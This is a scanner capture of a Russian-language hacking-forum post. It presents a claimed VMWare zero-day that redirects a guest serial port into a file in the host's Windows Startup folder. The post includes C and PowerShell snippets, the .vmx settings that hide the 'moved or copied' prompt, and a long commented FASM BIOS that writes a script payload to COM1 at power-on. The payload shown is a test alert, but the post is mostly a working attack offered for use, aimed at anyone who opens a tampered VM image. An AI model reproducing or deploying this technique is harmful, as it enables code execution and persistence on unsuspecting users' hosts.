zelenka.guru
Open in
urlscan Pro
151.80.169.30
Public Scan
Submitted URL: https://zelenka.guru/threads/5961625/
Effective URL: https://zelenka.guru/threads/5961625/?pget=1
Submission: On October 10 via manual from US — Scanned from US
Effective URL: https://zelenka.guru/threads/5961625/?pget=1
Submission: On October 10 via manual from US — Scanned from US
Form analysis
3 forms found in the DOMGET search/search
<form action="search/search" method="get" target="_blank" class="formPopup">
<div class="primaryControls">
<!-- block: primaryControls -->
<input type="text" name="keywords" class="textCtrl QuickSearchQuery" placeholder="Поиск..." title="Введите параметры поиска и нажмите ввод" autocomplete="off">
<i class="QuickSearchClear far fa-times"></i>
<!-- end block: primaryControls -->
</div>
<div class="secondaryControls">
<div class="orderBy">
<div class="bold title">Критерий сортировки:</div>
<ul>
<li><label for="ctrl_order_date_top"><input type="radio" name="order" id="ctrl_order_date_top" value="date" checked="checked"> По дате создания</label></li>
<li><label for="ctrl_order_relevance_top"><input type="radio" name="order" id="ctrl_order_relevance_top" value="relevance"> Степень соответствия</label></li>
</ul>
</div>
<button type="submit" class="searchButton"> Поиск тем и сообщений <i class="far fa-chevron-right searchButtonIcon"></i>
</button>
<a href="search/?type=post" class="searchButton" target="_blank">
Поиск тем и сообщений
<i class="far fa-chevron-right searchButtonIcon"></i>
</a>
<div class="SearchResultsList"></div>
<input type="hidden" name="_xfToken" value="">
</div>
</form>
POST inline-mod/post/switch
<form action="inline-mod/post/switch" method="post" class="InlineModForm section" data-cookiename="posts" data-controls="#InlineModControls" data-imodoptions="#ModerationSelect option">
<ol class="messageList " id="messageList">
<div id="LivePageLoadingMask" class="threadImprovements--mask"></div>
<li id="post-42492045" class="message firstPost " data-author="Holysmokes">
<div class="messageUserInfo">
<div class="messageUserBlock ">
<div class="avatarHolder">
<span class="helper"></span>
<a href="members/6755118/" class="avatar Av6755118m" data-avatarhtml="true"><span class="img m" style="background-image: url('https://zelenka.guru/data/avatars_gen/96/3969dc7ec85ba96faa4cc7c446f7401c.png')"></span></a>
<!-- slot: message_user_info_avatar -->
</div>
</div>
</div>
<div class="messageInfo">
<div class="postActionButton Popup">
<a class="dottesStyle PopupControl" rel="Menu"><span class="arrowWidget"></span></a>
</div>
<div class="userText">
<span class="item" itemscope="" itemtype="https://schema.org/Person">
<a href="members/6755118/" class="username" dir="auto" itemprop="name"><span class="style21">Holysmokes</span></a>
</span>
<span class="item as--class author">Автор темы</span>
<a href="threads/5961625/" title="Постоянная ссылка" data-href="posts/42492045/permalink" class="item messageDateHeader datePermalink hashPermalink OverlayTrigger muted">
<abbr class="DateTime" data-time="1696974865" data-diff="6808" data-datestring="11 окт 2023" data-timestring="00:54" title="11 окт 2023 в 00:54">Сегодня, в 00:54</abbr>
</a>
<span class="userCounters">
<span class="userCounter item muted">
<i class="userCounterIcon fas fa-heart"></i>55 </span>
<span class="userCounter userCounter--registerDate item muted">
<i class="userCounterIcon fas fa-calendar-alt"></i>11 мар 2023 </span>
</span>
<!-- slot: message_user_info_text -->
</div>
<div class="messageContent">
<article>
<blockquote class="messageText SelectQuoteContainer baseHtml ugc ">
<div style="text-align: center"><span style="font-size: 13px">В данной статье будет описан Zero-Day <abbr title="" class="KWMOver Tooltip"
data-cachedtitle="Эксплойт – компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему"
tabindex="0">эксплоит</abbr> под вмваре, подробно разобран механизм работы уязвимости и код, который прописывается в подключаемый к VMWare BIOS. Так же стоит отметить, что данная уязвимость работает и на других виртуалках, просто
на VMWare она нашлась первой. Точно такую же уязвимость у меня получилось воспроизвести на Virtual Box. Данная уязвимость будет на всех виртуалках, на которых есть возможность делать перенаправление данных из компорта гостевой
системы в отдельный файл на хостовой системе. Кроме того, это должно работать и в Linux. Отличие будет только в типе пейлоада - в <abbr title="" class="KWMOver Tooltip"
data-cachedtitle="Windows – операционная система от Microsoft для работы на стационарных(личных) компьютерах" tabindex="0">Windows</abbr> мы делаем пейлоад в виде HTA или EXE файла, а в Linux это будет, например, sh
скрипт.</span><br>
<br>
<span style="font-size: 13px">Принцип работы уязвимости:</span>
</div>
<div style="text-align: left"><span style="font-size: 13px">1. В VMWare есть возможность выводить в отдельный файл информацию, отправляемую в COM порт из гостевой системы. Пути к файлу, которые там можно прописать, не проверяются. Путь
может быть прописал любой, и расширение файла любое. Например, можно прописать файл с расширением hta в автозагрузку <span style="font-size: 13px">C:\ProgramData\Microsoft\Windows\Start<span
style="font-size: 13px">Menu\Programs\StartUp\test.hta</span></span></span><br>
<br>
<span style="font-size: 13px">Скриншот с настройками:</span>
</div>
<div style="text-align: center"><br>
<span
style="font-size: 13px"><a href="https://nztcdn.com/files/80a7ee1c-f283-495b-901b-e9c28761d801.webp" class="LbTrigger" data-href="misc/lightbox" data-fancybox="gallery"><img src="https://nztcdn.com/files/80a7ee1c-f283-495b-901b-e9c28761d801.webp" class="bbCodeImage LbImage fr-fil" style="" data-url="https://nztcdn.com/files/80a7ee1c-f283-495b-901b-e9c28761d801.webp" alt="[IMG]" title="[IMG]"></a></span>
</div>На скриншоте красным цветом обведено ключевое для данной уязвимости место настроек VMWare, где прописывается имя hta файла в папке автозагрузки.<br>
<br>
<br> 2. Теперь как добавить контент в этот файл. Это можно сделать, например, через WinAPI, окрыв ком порт как обычный файл и записав туда контент.<br>
<br>
<div class="csiXF_bbCode_FAF39740 bbCodeBlock bbCodeCode bbCodeSource bbCodeSourceBlock" style="max-width: 850px;">
<div class="sourceCode hidden"> hCom = CreateFile("\\\\.\\COM1", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0); char* payload = "<SCRIPT>alert(12345)</SCRIPT>"; DWORD bytesWritten;
WriteFile(hCom, payload, strlen(payload), &bytesWritten, 0); CloseHandle(hComm); </div>
<div class="type">
<div class="bbCodeBlock-header">
<div class="bbCodeBlock-title">
<span title="">Код C:</span>
</div>
<div class="bbCodeBlock-actions">
<i class="fa--xf far fa-expand-alt action action--expand bbCodeAction" aria-hidden="true" title="Expand" style="display: none;"></i>
<i class="fa--xf far fa-compress-alt action action--collapse action--hidden bbCodeAction" aria-hidden="true" title="Collapse"></i>
<i class="fa--xf far fa-paste action action--copy bbCodeAction" aria-hidden="true" title="Copy" data-phr="Код был скопирован в буфер обмена"></i>
</div>
</div>
</div>
<div class="scroll-wrapper scrollbar-macosx scrollbar-dynamic line-numbers" style="position: relative; max-height: 350px;">
<pre class="scrollbar-macosx scrollbar-dynamic line-numbers scroll-content language-c scroll-scrollx_visible" style="height: auto; margin-bottom: 0px; margin-right: 0px; max-height: 98px;"
tabindex="0"><div class="scrollbar-macosx scrollbar-dynamic language-c" style="position: relative;">hCom <span class="token operator">=</span> <span class="token function">CreateFile</span><span class="token punctuation">(</span><span class="token string">"\\\\.\\COM1"</span><span class="token punctuation">,</span> GENERIC_READ <span class="token operator">|</span> GENERIC_WRITE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> OPEN_EXISTING<span class="token punctuation">,</span> FILE_FLAG_OVERLAPPED<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">char</span><span class="token operator">*</span> payload <span class="token operator">=</span> <span class="token string">"<SCRIPT>alert(12345)</SCRIPT>"</span><span class="token punctuation">;</span>
DWORD bytesWritten<span class="token punctuation">;</span>
<span class="token function">WriteFile</span><span class="token punctuation">(</span>hCom<span class="token punctuation">,</span> payload<span class="token punctuation">,</span> <span class="token function">strlen</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">&</span>bytesWritten<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">CloseHandle</span><span class="token punctuation">(</span>hComm<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></div></pre>
<div class="scroll-element scroll-x scroll-scrollx_visible" style="">
<div class="scroll-element_outer">
<div class="scroll-element_size"></div>
<div class="scroll-element_track"></div>
<div class="scroll-bar" style="width: 779px; left: 0px;"></div>
</div>
</div>
<div class="scroll-element scroll-y scroll-scrollx_visible" style="">
<div class="scroll-element_outer">
<div class="scroll-element_size"></div>
<div class="scroll-element_track"></div>
<div class="scroll-bar" style="height: 89px;"></div>
</div>
</div>
</div>
</div> Можно сделать через PowerShell:<br>
<br>
<div class="csiXF_bbCode_FAF39740 bbCodeBlock bbCodeCode bbCodeSource bbCodeSourceBlock" style="max-width: 850px;">
<div class="sourceCode hidden"> $comPort=new-Object System.IO.Ports.SerialPort $a,1E7,None,8,one; $comPort.DtrEnable=$true; $comPort.Open(); $comPort.WriteLine("<SCRIPT>alert(12345)</SCRIPT>"); </div>
<div class="type">
<div class="bbCodeBlock-header">
<div class="bbCodeBlock-title">
<span title="">Код:</span>
</div>
<div class="bbCodeBlock-actions">
<i class="fa--xf far fa-expand-alt action action--expand bbCodeAction" aria-hidden="true" title="Expand" style="display: none;"></i>
<i class="fa--xf far fa-compress-alt action action--collapse action--hidden bbCodeAction" aria-hidden="true" title="Collapse"></i>
<i class="fa--xf far fa-paste action action--copy bbCodeAction" aria-hidden="true" title="Copy" data-phr="Код был скопирован в буфер обмена"></i>
</div>
</div>
</div>
<div class="scroll-wrapper scrollbar-macosx scrollbar-dynamic line-numbers" style="position: relative; max-height: 350px;">
<pre class="scrollbar-macosx scrollbar-dynamic line-numbers scroll-content language-none" tabindex="0" style="height: auto; margin-bottom: 0px; margin-right: 0px; max-height: 78px;"><div class="scrollbar-macosx scrollbar-dynamic language-none" style="position: relative;">$comPort=new-Object System.IO.Ports.SerialPort $a,1E7,None,8,one;
$comPort.DtrEnable=$true;
$comPort.Open();
$comPort.WriteLine("<SCRIPT>alert(12345)</SCRIPT>");<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></div></pre>
<div class="scroll-element scroll-x" style="">
<div class="scroll-element_outer">
<div class="scroll-element_size"></div>
<div class="scroll-element_track"></div>
<div class="scroll-bar" style="width: 96px;"></div>
</div>
</div>
<div class="scroll-element scroll-y" style="">
<div class="scroll-element_outer">
<div class="scroll-element_size"></div>
<div class="scroll-element_track"></div>
<div class="scroll-bar" style="height: 96px;"></div>
</div>
</div>
</div>
</div><span style="font-size: 13px">Но у этих способов есть недостаток: они не срабатывают сразу после нажатия на кнопку "Включить" в vmware. Нужно дожидаться загрузки системы, встраивать в автозагрузку гостевой системы Powershell
скрипт или EXE, который отправляет пейлоад в компорт. Для того чтобы пейлоад записался сразу же после запуска образа операционной системы его придётся разместить в BIOS. Тогда, нажав на кнопку Play в VMWare, запись hta файла в
автозагрузку на хостовой системе произойдёт мгновенно. Поэтому переходим к следующему пункту: подключение стороннего BIOS в VMWare.<br>
<br>
<br> 3. В VMWare есть возможность подключать сторонние BIOS, строка для подключения прописывается в файле настроек образа с расширением vmx. Полный набор прописываемых настроек выглядит так:<br>
<br> bios440.filename="bios.rom"<br> serial0.fileType = "file"<br> serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta"<br> serial0.present = "TRUE"<br>
<div class="bbCodeBlock bbCodeQuote bbCodeHide">
<div class="quoteContainer hideContainer"><a href="/login"></a><a href="/login" class="bold">Войдите</a> или <a href="/login/login" class="bold">зарегистрируйтесь</a> для просмотра ссылок.<div></div>
</div>
</div> = "Replace"<br> msg.autoAnswer = "TRUE"
</span><br>
<br>
<span style="font-size: 13px">Разберём каждую из этих строк:<br>
<br> Строка bios440.filename="bios.rom" - здесь прописывается путь к образу ROM файла, в котором хранится BIOS<br> serial0.fileType = "file - здесь задаём режим работы компорта, он будет настроен на запись в файл<br> serial0.fileName
= "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta" - здесь прописывается путь к файлу, в который будем сохранять данные из ком порта<br> serial0.present = "TRUE" - этой строкой подключаем ком порт к образу
вмваре<br>
<div class="bbCodeBlock bbCodeQuote bbCodeHide">
<div class="quoteContainer hideContainer"><a href="/login"></a><a href="/login" class="bold">Войдите</a> или <a href="/login/login" class="bold">зарегистрируйтесь</a> для просмотра ссылок.<div></div>
</div>
</div> = "Replace" - если образ будет скопирован на другой компьютер, то VMWare задаст вопрос "Был ли образ перемещён или скопирован". Этой строкой мы задаём автоответ на этот вопрос, чтобы пользователю не показывался лишний
месседжбокс с вопросом.<br> msg.autoAnswer = "TRUE" - строка аналогичная предыдущей, VMWare будет автоматически выбирать ответ "Да" на все выдаваемые ей вопросы.
</span><br>
<br>
<span style="font-size: 13px">Теперь переходим к самому сложному, самому коду BIOS</span><br>
<br>
<br>
<span style="font-size: 13px"><span style="font-size: 13px">4. Код BIOS написан на FASM и особенность его в том, что он работает в 16 битном режиме. Процессор сразу после включения работает именно в этом режиме, только потом он
программно переводится в 32 или 64 битный режим работы. VMWare первые байты кода из BIOS интерпретирует именно как 16 битный ассемблер.</span></span><br>
<br> Это значит что в регистр будет влазить только 16 битное число (то есть максимальное возможное число, хранимое в регистре, будет равно 65535). Будет непривычная адресация памяти, состоящая из двух регистров, например DS:[SI]. Потому
что один регистр заадресует только 65535 байт памяти, чтобы адресовать больше нужен дополнительный регистр. Кроме того, в коде самописного BIOS не будет прерываний. Например не будет прерывания INT 14h, отвечающего за работу с COM
портом. Поэтому весь функционал, который предоставляет это прерывание, мы должны реализовать самостоятельно. Делать мы это буден обращаясь напрямую к портам ввода-вывода. Вообщем, будем программировать так, как это делали 30-40 лет
назад.<br>
<br> Сам файл bios.rom не имеет никакого формата, там нет никаких дополнительных заголовков и настроечной информации, как например в exe файлах. Образ bios записанный на микросхему или в файл представляет собой точную копию того, как он
хранится в памяти компьютера. Единственнное что нужно помнить, это про точку входа в BIOS, место откуда начинается выполнение программы. Этот адрес равен 0x7FFF0 и называется он Reset Vector. Это место, откуда начинается выполнение
программного кода сразу после включения компьютера или после нажатия кнопки Reset.<br>
<br> Размер файла bios.rom фиксированный, и равен он 524288 байт (или 0x80000 байт в шестнадцатеричной системе счисления). Если сделать другой размер, то VMWare выдаст ошибку.<br> Reset Vector находится почти в самом конце файла,
поэтому по его адресу расположена инструкция JMP, осуществляющая переход на основную программу BIOS. Это показано на рисунке:<br>
<br>
<a href="https://nztcdn.com/files/92c1d23b-613f-466a-bc38-28852b00f9d1.webp" class="LbTrigger" data-href="misc/lightbox" data-fancybox="gallery"><img src="https://nztcdn.com/files/92c1d23b-613f-466a-bc38-28852b00f9d1.webp" class="bbCodeImage LbImage fr-fil" style="" data-url="https://nztcdn.com/files/92c1d23b-613f-466a-bc38-28852b00f9d1.webp" alt="[IMG]" title="[IMG]"></a><br>
<br> На рисунке изображен скриншот из hex-редактора. Красным цветом обведён Reset Vector, откуда начинается исполнение программы после включения компьютера или нажатия кнопки Reset. Там видна инструкция JMP которая указывает на область,
обведённую чёрным цветом. Область обведённая чёрным цветом это основной код.<br>
<br> Исходник файла bios.rom находится в прикрепленном файле bios.asm<br> Компилируется в FASM простой командой: fasm bios.asm<br>
<br> Далее разбираем обмен даннымми с компортом на ассемблере через порты ввода-вывода.<br>
<br>
<div class="csiXF_bbCode_FAF39740 bbCodeBlock bbCodeCode bbCodeSource bbCodeSourceBlock" style="max-width: 850px;">
<div class="sourceCode hidden"> use16 ; Включаем режим 16 битного ассемблера ; Здесь хранятся адреса портов ввода вывода SuperIO и компорта ; SuperIO контроллер это микросхема, объединяющая в одном корпусе набор низкоскоростных
устройств: com port, параллельный порт, флоппи диск и т.д. ; До появления стандарта SuperIO для каждого такого устройства был отдельный контроллер ; Чтобы получить доступ к компорту мы сначала должны инициализировать контроллер
SuperIO ; VMWare использует именно этот стандарт - стандарт SuperIO вместо отдельного контроллера для каждого устройства SUPERIO_BASE equ 0x2e PC97338_FER equ 0x00 PC97338_FAR equ 0x01 PC97338_PTR equ 0x02 COM_BASE equ 0x3f8 ;
Базовый адрес компорта, от этого номера отсчитываются номера портов для различных функций работы с компортом (чтение, запись, и т.д.) COM_RB equ 0x00 ; Отправка буфера (R) COM_TB equ 0x00 ; Передача буфера (T) COM_BRD_LO equ 0x00 ;
Установка скорости компорта, младшая часть COM_BRD_HI equ 0x01 ; Установка скорости компорта, старшая часть COM_IER equ 0x01 ; Interrupt Enable Register COM_FCR equ 0x02 ; FIFO Control Register, регистр буфера FIFO COM_LCR equ 0x03
; Line Control Register, регистр контроля линии COM_MCR equ 0x04 ; Modem Control Registrer, регистр контроля модема COM_LSR equ 0x05 ; Line Status Register, регистр статуса линии, по его состоянию определяем готовность порта к
передаче/приёму данных db "VMBIOS v1.00",0,0,0,0 ; В самом начале файла располагается строка с названием BIOS, под это зарезервировано 16 байт times 0x7F000-16 db 0xFF ; Заполняем неиспользуемое пространство символами 0xFF. Почему
не нолями, и откуда пошло пустое пространство заполнять именно этим числом. ; Если число 0xFF перевести в двоичный формат, то мы получим число из всех единичек b11111111. Таким образом, куча чисел 0XFF это гигантская
последовательность единичек. ; В микросхемах памяти незаписанный байт обозначается как "1", а не как "0". Куча чисел 0xFF это пошло от обозначения незаписанных байтов на микросхемах. ; Начало основной программы org 0xF000 ; Адрес,
по которому метка start_com_port располагается в памяти ; Про формат вызовов подпрограмм. ; В нашем случае нежелательно использовать инструкцию call, потому что она воздействует на память и регистры (по адресу SS:SP заносится адрес
возврата и регистр sp уменьшается на 2) ; Здесь проще пользоваться таким способом вызова подрограмм: ; ; mov $sp+5 ; jmp proc_label ; .... ; ;proc_label: ; jmp sp ; ; Инструкция jmp работает здесь как инструкция call, инструкция jmp
sp как замена инструкции ret. ; После такой замены будет исключено повреждение памяти инструкцией call start_com_port: ; Первоначальные настройки сразу после включения компа. cli - сбросить флаг прерываний (CLear Interrupts) ; cld -
задать стандартное направление обработки строк для инструкций обработки строк movsb, scasb и т.д. (CLear Direction) ; Три следующих инструкции - настройка сегментных регистров для адресации памяти ; Все эти значения нужно заполнить,
так как после включения компа там может быть не "0", а какое-то иное случайное число ; Регистры DS и SS делаем равными адресу сегменту кода (CS=Code Segment). Нужно для правильной работы инструкций mov cli cld mov ax, cs mov ds, ax
mov ss, ax mov dx, SUPERIO_BASE ; Обращаемcя к порту микросхемы Super-IO in al, dx ; Обращаемся к порту 2 раза: если обратится один раз, то может не сработать in al, dx ; Во всех исходниках и примерах эта команда указана дважды,
почему так получилось нигде не написано mov si, superio_conf ; Указатель на область памяти с первоначальными настройками SuperIO mov cx, 3 ; Указываем размер этой области памяти write_superio_conf: mov ax, [si] mov sp, $+5 ; Вызов
подпрограммы отправки данных в порт superio jmp superio_out ; add si, 2 loop write_superio_conf ; Настройка компорта, делается аналогично настройке superio mov si, serial_conf ; Указатель на таблицу настроек компорта mov cx, 6
write_serial_conf: mov ax, [si] mov sp, $+5 ; Процедура отправки данных в компорт jmp serial_out ; add si, 2 loop write_serial_conf ; Компорт настроен и готов к работе, дальше идёт отправка пейлоада в компорт mov si, payload mov
sp,$+5 ; Вызов подрограммы отправки ASCIIZ строки в компорт jmp print_string ; ; Завершаем работу программы бесконечным циклом ; В бесконечном цикле считываем символ из компорта и отправляем его обратно serial_repeater: mov sp,$+5
jmp readchar mov sp,$+5 jmp putchar jmp serial_repeater ; Подпрограмма отсылки данных SuperIO контроллеру superio_out: mov dx, SUPERIO_BASE out dx, al inc dx xchg ah, al out dx, al jmp sp ; Подпрограмма отсылки данных компорту
serial_out: mov dx, COM_BASE add dl, al mov al, ah out dx, al jmp sp ; В подпрограммах адрес порта будет виден, например, в таком формате: mov dx, COM_BASE + COM_LSR ; Здесь COM_BASE это стандартный адрес com порта 0x3F8 ; На разные
действия может быть отведён отдельный порт ; Следом за базовым номером ком порта идут порты для определённых действий с компортом: считать байт, отправить байт и т.д. ; Например, для получения доступа к статусному регистру линии мы
получаем номер порта: COM_BASE + COM_LSR = 0x3F8 + 5 = 0x3FD ; Подпрограмма вывода одиночного символа в компорт putchar: mov dx, COM_BASE + COM_LSR mov ah, al tx_wait: in al, dx ; Дожидаемся готовности ком порта к передаче and al,
0x20 ; jz tx_wait ; mov dx, COM_BASE + COM_TB mov al, ah out dx, al jmp sp ; Подпрограмма считывания одиночного символа из компорта readchar: mov dx, COM_BASE + COM_LSR rx_wait: in al, dx ; Дожидаемся готовности компорта к
считыванию and al, 0x01 ; jz rx_wait ; mov dx, COM_BASE + COM_RB in al, dx jmp sp ; Подпрограмма печати строки ; Печать строки это печать множества одиночных символов, а значит это множество последовательных вызовов процедуры печати
одиночного символа putchar print_string: lodsb or al, al jnz write_char jmp sp write_char: shl esp, 0x10 mov sp,$+5 jmp putchar shr esp, 0x10 jmp print_string ; Таблица для настроек SuperIO и компорта superio_conf: db PC97338_FER,
0x0f ; Команда включения на микросхеме SuperIO следующих устройств: компорт, параллельный порт и флоппи диск db PC97338_FAR, 0x10 ; Задаём стандартные номера коммуникационых портов: LPT=378, COM1=3F8, COM2=2F8 db PC97338_PTR, 0x00
serial_conf: db COM_MCR, 0x00 ; Режим RTS/DTS выключен. RTS=Ready To Send, сигнал готовности отправки данных. DTS = Data To Send, сигнал о том что данные отправлены db COM_FCR, 0x07 db COM_LCR, 0x80 db COM_BRD_LO, 0x01 ; Скорость
порта устанавливаем в 115200 db COM_BRD_HI, 0x00 db COM_LCR, 0x03 ; Line Control Register, устанавливаем режим передачи 8N1, то есть 8 байт в пакете, N=отсутствие проверки чётности, 1 - количество стоповых битов payload: db
'<SCRIPT>alert(7);</script>',0 ; Здесь хранится ASCIIZ строка с тестовым пейлоадом end_com_port: times 0x7FFF0 - 0x7F000 - (end_com_port - start_com_port) db 0xFF ; Резервируем неиспользуемую область памяти между
основным программным кодом и Reset Vector ; Здесь находится Reset Vector, отсюда начинается исполнение программы после включения компьютера, либо после нажатия кнопки Reset ; В Reset Vector будет располагаться одна единственная
инструкция JMP, делающая переход на основной программный код. ; Как устроена и как расчитывается инструкция JMP: первый байт это 0xE9 - это сигнатура инструкции JMP ; Дальше идёт 16 битное число, содержащее адрес перехода ; В
формуле перехода первый знак "-", это означает мы переходим на минус столько-то байт назад. ; Значение $ - start_com_port это расстояние в байтах до места куда надо перейти, число байт от текущей позиции инструкции JMP и основного
программного кода ; К текущей позиции инструкции JMP процессор приплюсовывает ещё 2 байта, поэтому в формуле есть число 2 start_bios_code: db 0e9h dw - ($ - start_com_port + 2) end_bios_code: times 13 db 0xff ; Заполняем оставшиеся
байты до полного размера файла в 524288 байт (0x80000 байт в шестнадцатеричной системе счисления) </div>
<div class="type">
<div class="bbCodeBlock-header">
<div class="bbCodeBlock-title">
<span title="">Код:</span>
</div>
<div class="bbCodeBlock-actions">
<i class="fa--xf far fa-expand-alt action action--expand bbCodeAction" aria-hidden="true" title="Expand"></i>
<i class="fa--xf far fa-compress-alt action action--collapse action--hidden bbCodeAction" aria-hidden="true" title="Collapse"></i>
<i class="fa--xf far fa-paste action action--copy bbCodeAction" aria-hidden="true" title="Copy" data-phr="Код был скопирован в буфер обмена"></i>
</div>
</div>
</div>
<div class="scroll-wrapper scrollbar-macosx scrollbar-dynamic line-numbers" style="position: relative; max-height: 350px;">
<pre class="scrollbar-macosx scrollbar-dynamic line-numbers scroll-content language-none scroll-scrollx_visible scroll-scrolly_visible" tabindex="0"
style="height: auto; margin-bottom: 0px; margin-right: 0px; max-height: 350px;"><div class="scrollbar-macosx scrollbar-dynamic language-none" style="position: relative;">use16 ; Включаем режим 16 битного ассемблера
; Здесь хранятся адреса портов ввода вывода SuperIO и компорта
; SuperIO контроллер это микросхема, объединяющая в одном корпусе набор низкоскоростных устройств: com port, параллельный порт, флоппи диск и т.д.
; До появления стандарта SuperIO для каждого такого устройства был отдельный контроллер
; Чтобы получить доступ к компорту мы сначала должны инициализировать контроллер SuperIO
; VMWare использует именно этот стандарт - стандарт SuperIO вместо отдельного контроллера для каждого устройства
SUPERIO_BASE equ 0x2e
PC97338_FER equ 0x00
PC97338_FAR equ 0x01
PC97338_PTR equ 0x02
COM_BASE equ 0x3f8 ; Базовый адрес компорта, от этого номера отсчитываются номера портов для различных функций работы с компортом (чтение, запись, и т.д.)
COM_RB equ 0x00 ; Отправка буфера (R)
COM_TB equ 0x00 ; Передача буфера (T)
COM_BRD_LO equ 0x00 ; Установка скорости компорта, младшая часть
COM_BRD_HI equ 0x01 ; Установка скорости компорта, старшая часть
COM_IER equ 0x01 ; Interrupt Enable Register
COM_FCR equ 0x02 ; FIFO Control Register, регистр буфера FIFO
COM_LCR equ 0x03 ; Line Control Register, регистр контроля линии
COM_MCR equ 0x04 ; Modem Control Registrer, регистр контроля модема
COM_LSR equ 0x05 ; Line Status Register, регистр статуса линии, по его состоянию определяем готовность порта к передаче/приёму данных
db "VMBIOS v1.00",0,0,0,0 ; В самом начале файла располагается строка с названием BIOS, под это зарезервировано 16 байт
times 0x7F000-16 db 0xFF ; Заполняем неиспользуемое пространство символами 0xFF. Почему не нолями, и откуда пошло пустое пространство заполнять именно этим числом.
; Если число 0xFF перевести в двоичный формат, то мы получим число из всех единичек b11111111. Таким образом, куча чисел 0XFF это гигантская последовательность единичек.
; В микросхемах памяти незаписанный байт обозначается как "1", а не как "0". Куча чисел 0xFF это пошло от обозначения незаписанных байтов на микросхемах.
; Начало основной программы
org 0xF000 ; Адрес, по которому метка start_com_port располагается в памяти
; Про формат вызовов подпрограмм.
; В нашем случае нежелательно использовать инструкцию call, потому что она воздействует на память и регистры (по адресу SS:SP заносится адрес возврата и регистр sp уменьшается на 2)
; Здесь проще пользоваться таким способом вызова подрограмм:
;
; mov $sp+5
; jmp proc_label
; ....
;
;proc_label:
; jmp sp
;
; Инструкция jmp работает здесь как инструкция call, инструкция jmp sp как замена инструкции ret.
; После такой замены будет исключено повреждение памяти инструкцией call
start_com_port:
; Первоначальные настройки сразу после включения компа. cli - сбросить флаг прерываний (CLear Interrupts)
; cld - задать стандартное направление обработки строк для инструкций обработки строк movsb, scasb и т.д. (CLear Direction)
; Три следующих инструкции - настройка сегментных регистров для адресации памяти
; Все эти значения нужно заполнить, так как после включения компа там может быть не "0", а какое-то иное случайное число
; Регистры DS и SS делаем равными адресу сегменту кода (CS=Code Segment). Нужно для правильной работы инструкций mov
cli
cld
mov ax, cs
mov ds, ax
mov ss, ax
mov dx, SUPERIO_BASE ; Обращаемcя к порту микросхемы Super-IO
in al, dx ; Обращаемся к порту 2 раза: если обратится один раз, то может не сработать
in al, dx ; Во всех исходниках и примерах эта команда указана дважды, почему так получилось нигде не написано
mov si, superio_conf ; Указатель на область памяти с первоначальными настройками SuperIO
mov cx, 3 ; Указываем размер этой области памяти
write_superio_conf:
mov ax, [si]
mov sp, $+5 ; Вызов подпрограммы отправки данных в порт superio
jmp superio_out ;
add si, 2
loop write_superio_conf
; Настройка компорта, делается аналогично настройке superio
mov si, serial_conf ; Указатель на таблицу настроек компорта
mov cx, 6
write_serial_conf:
mov ax, [si]
mov sp, $+5 ; Процедура отправки данных в компорт
jmp serial_out ;
add si, 2
loop write_serial_conf
; Компорт настроен и готов к работе, дальше идёт отправка пейлоада в компорт
mov si, payload
mov sp,$+5 ; Вызов подрограммы отправки ASCIIZ строки в компорт
jmp print_string ;
; Завершаем работу программы бесконечным циклом
; В бесконечном цикле считываем символ из компорта и отправляем его обратно
serial_repeater:
mov sp,$+5
jmp readchar
mov sp,$+5
jmp putchar
jmp serial_repeater
; Подпрограмма отсылки данных SuperIO контроллеру
superio_out:
mov dx, SUPERIO_BASE
out dx, al
inc dx
xchg ah, al
out dx, al
jmp sp
; Подпрограмма отсылки данных компорту
serial_out:
mov dx, COM_BASE
add dl, al
mov al, ah
out dx, al
jmp sp
; В подпрограммах адрес порта будет виден, например, в таком формате: mov dx, COM_BASE + COM_LSR
; Здесь COM_BASE это стандартный адрес com порта 0x3F8
; На разные действия может быть отведён отдельный порт
; Следом за базовым номером ком порта идут порты для определённых действий с компортом: считать байт, отправить байт и т.д.
; Например, для получения доступа к статусному регистру линии мы получаем номер порта: COM_BASE + COM_LSR = 0x3F8 + 5 = 0x3FD
; Подпрограмма вывода одиночного символа в компорт
putchar:
mov dx, COM_BASE + COM_LSR
mov ah, al
tx_wait:
in al, dx ; Дожидаемся готовности ком порта к передаче
and al, 0x20 ;
jz tx_wait ;
mov dx, COM_BASE + COM_TB
mov al, ah
out dx, al
jmp sp
; Подпрограмма считывания одиночного символа из компорта
readchar:
mov dx, COM_BASE + COM_LSR
rx_wait:
in al, dx ; Дожидаемся готовности компорта к считыванию
and al, 0x01 ;
jz rx_wait ;
mov dx, COM_BASE + COM_RB
in al, dx
jmp sp
; Подпрограмма печати строки
; Печать строки это печать множества одиночных символов, а значит это множество последовательных вызовов процедуры печати одиночного символа putchar
print_string:
lodsb
or al, al
jnz write_char
jmp sp
write_char:
shl esp, 0x10
mov sp,$+5
jmp putchar
shr esp, 0x10
jmp print_string
; Таблица для настроек SuperIO и компорта
superio_conf:
db PC97338_FER, 0x0f ; Команда включения на микросхеме SuperIO следующих устройств: компорт, параллельный порт и флоппи диск
db PC97338_FAR, 0x10 ; Задаём стандартные номера коммуникационых портов: LPT=378, COM1=3F8, COM2=2F8
db PC97338_PTR, 0x00
serial_conf:
db COM_MCR, 0x00 ; Режим RTS/DTS выключен. RTS=Ready To Send, сигнал готовности отправки данных. DTS = Data To Send, сигнал о том что данные отправлены
db COM_FCR, 0x07
db COM_LCR, 0x80
db COM_BRD_LO, 0x01 ; Скорость порта устанавливаем в 115200
db COM_BRD_HI, 0x00
